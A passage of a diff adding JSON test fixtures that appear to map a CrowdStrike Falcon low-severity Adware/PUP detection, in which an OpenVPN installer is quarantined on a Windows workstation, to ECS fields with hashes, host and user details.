]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+                "severity": 21,
+                "type": [
+                    "start"
+                ]
+            },
+            "file": {
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+            },
+            "host": {
+                "domain": "ABC.LOCAL",
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "mac": [
+                    "AB-21-48-61-05-B2"
+                ],
+                "os": {
+                    "full": "Windows11",
+                    "platform": "Windows",
+                    "type": "windows"
+                }
+            },
+            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "process": {
+                "end": "2023-11-03T18:00:21.000Z",
+                "entity_id": "399748687993",
+                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "hash": {
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                },
+                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "parent": {
+                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
+                    "entity_id": "392736520876",
+                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                    "hash": {
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+                    },
+                    "name": "explorer.exe",
+                    "pid": 392736520876
+                },
+                "pid": 399748687993,
+                "start": "2023-11-03T18:00:13.000Z",
+                "user": {
+                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "name": "mohit.jha"
+                }
+            },
+            "related": {
+                "hash": [
+                    "b07f77fd3f9828b2c9d61f8a36609741",
+                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "8cc3fcdd7d52d2d5221303c213e044ae",
+                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "0000000000000000000000000000000000000000"
+                ],
+                "hosts": [
+                    "ABC.LOCAL",
+                    "ABC709-1175"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "yuvraj.mahajan",
+                    "mohit.jha"
+                ]
+            },
+            "tags": [
+                "preserve_original_event",
+                "preserve_duplicate_custom_fields"
+            ],
+            "threat": {
+                "framework": "CrowdStrike Falcon Detections Framework",
+                "tactic": {
+                    "id": [
+                        "CSTA0004"
+                    ],
+                    "name": [
+                        "MachineLearning"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "CST0000"
+                    ],
+                    "name": [
+                        "Adware/PUP"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "name": "mohit.jha"
+            }
+        },
+        {
+            "@timestamp": "2023-11-03T18:00:22.328Z",
+            "crowdstrike": {
+                "alert": {
+                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "alleged_filetype": "exe",
+                    "cid": "92012896127c4a948236ba7601b886b0",
+                    "cloud_indicator": false,
+                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "confidence": 10,
+                    "context_timestamp": "2023-11-03T18:00:31.000Z",
+                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                    "crawl_edge_ids": {
+                        "Sensor": [
+                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
+                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
+                        ]
+                    },
+                    "crawl_vertex_ids": {
+                        "Sensor": [
+                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                        ]
+                    },
+                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+                    "created_timestamp": "2023-11-03T18:01:23.995Z",
+                    "data_domains": [
+                        "Endpoint"
+                    ],
+                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                    "device": {
+                        "agent_load_flags": 0,
+                        "agent_local_time": "2023-10-12T03:45:57.753Z",
+                        "agent_version": "7.04.17605.0",
+                        "bios_manufacturer": "ABC",
+                        "bios_version": "F8CN42WW(V2.05)",
+                        "cid": "92012896127c4a948236ba7601b886b0",
+                        "config_id_base": "65994763",
+                        "config_id_build": "17605",
+                        "config_id_platform": 3,
+                        "external_ip": "81.2.69.142",
+                        "first_seen": "2023-04-07T09:36:36.000Z",
+                        "groups": [
+                            "18704e21288243b58e4c76266d38caaf"
+                        ],
+                        "hostinfo": {
+                            "active_directory_dn_display": [
+                                "WinComputers",
+                                "WinComputers\\ABC"
+                            ],
+                            "domain": "ABC.LOCAL"
+                        },
+                        "hostname": "ABC709-1175",
+                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                        "last_seen": "2023-11-03T17:51:42.000Z",
+                        "local_ip": "81.2.69.142",
+                        "mac_address": "AB-21-48-61-05-B2",
+                        "machine_domain": "ABC.LOCAL",
+                        "major_version": "10",
+                        "minor_version": "0",
+                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                        "os_version": "Windows11",
+                        "ou": [
+                            "ABC",
+                            "WinComputers"
+                        ],
+                        "platform_id": "0",
+                        "platform_name": "Windows",
+                        "product_type": "1",
+                        "product_type_desc": "Workstation",
+                        "site_name": "Default-First-Site-Name",
+                        "status": "normal",
+                        "system_manufacturer": "LENOVO",
+                        "system_product_name": "20VE"
+                    },
+                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "grandparent_details": {
+                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                        "filename": "userinit.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                        "local_process_id": "4328",
+                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                        "process_id": "392734873135",
+                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                        "timestamp": "2023-10-30T16:49:19.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "yuvraj.mahajan"
+                    },
+                    "has_script_or_module_ioc": true,
+                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "ioc_context": [
+                        {
+                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "ioc_source": "library_load",
+                            "ioc_type": "hash_sha256",
+                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "type": "module"
+                        }
+                    ],
+                    "ioc_values": [
+                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+                    ],
+                    "is_synthetic_quarantine_disposition": true,
+                    "local_process_id": "17076",
+                    "logon_domain": "ABSYS",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "name": "PrewittPupAdwareSensorDetect-Lowest",
+                    "objective": "FalconDetectionMethod",
+                    "parent_details": {
+                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                        "filename": "explorer.exe",
+                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                        "local_process_id": "1040",
+                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                        "process_id": "392736520876",
+                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                        "timestamp": "2023-11-03T18:00:32.000Z",
+                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                        "user_name": "mohit.jha"
+                    },
+                    "parent_process_id": "392736520876",
+                    "pattern_disposition": 2176,
+                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                    "pattern_disposition_details": {
+                        "blocking_unsupported_or_disabled": false,
+                        "bootup_safeguard_enabled": false,
+                        "critical_process_disabled": false,
+                        "detect": false,
+                        "fs_operation_blocked": false,
+                        "handle_operation_downgraded": false,
+                        "inddet_mask": false,
+                        "indicator": false,
+                        "kill_action_failed": false,
+                        "kill_parent": false,
+                        "kill_process": false,
+                        "kill_subprocess": false,
+                        "operation_blocked": false,
+                        "policy_disabled": false,
+                        "process_blocked": true,
+                        "quarantine_file": true,
+                        "quarantine_machine": false,
+                        "registry_operation_blocked": false,
+                        "rooting": false,
+                        "sensor_only": false,
+                        "suspend_parent": false,
+                        "suspend_process": false
+                    },
+                    "pattern_id": "5761",
+                    "platform": "Windows",
+                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                    "process_end_time": "2023-11-03T18:00:21.000Z",
+                    "process_id": "399748687993",
+                    "process_start_time": "2023-11-03T18:00:13.000Z",
+                    "product": "epp",
+                    "quarantined_files": [
+                        {
+                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                            "state": "quarantined"
+                        }
+                    ],
+                    "scenario": "NGAV",
+                    "severity": 30,
+                    "severity_name": "low",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "show_in_ui": true,
+                    "source_products": [
+                        "FalconInsight"
+                    ],
+                    "source_vendors": [
+                        "CrowdStrike"
+                    ],
+                    "status": "new",
+                    "tactic": "MachineLearning",
+                    "tactic_id": "CSTA0004",
+                    "technique": "Adware/PUP",
+                    "technique_id": "CST0000",
+                    "timestamp": "2023-11-03T18:00:22.328Z",
+                    "tree_id": "1931778",
+                    "tree_root": "38687993",
+                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                    "type": "ldt",
+                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
+                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                    "user_name": "mohit.jha"
+                }
+            },
+            "device": {
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "manufacturer": "LENOVO",
+                "model": {
+                    "name": "20VE"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "process"
+                ],
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "kind": "alert",
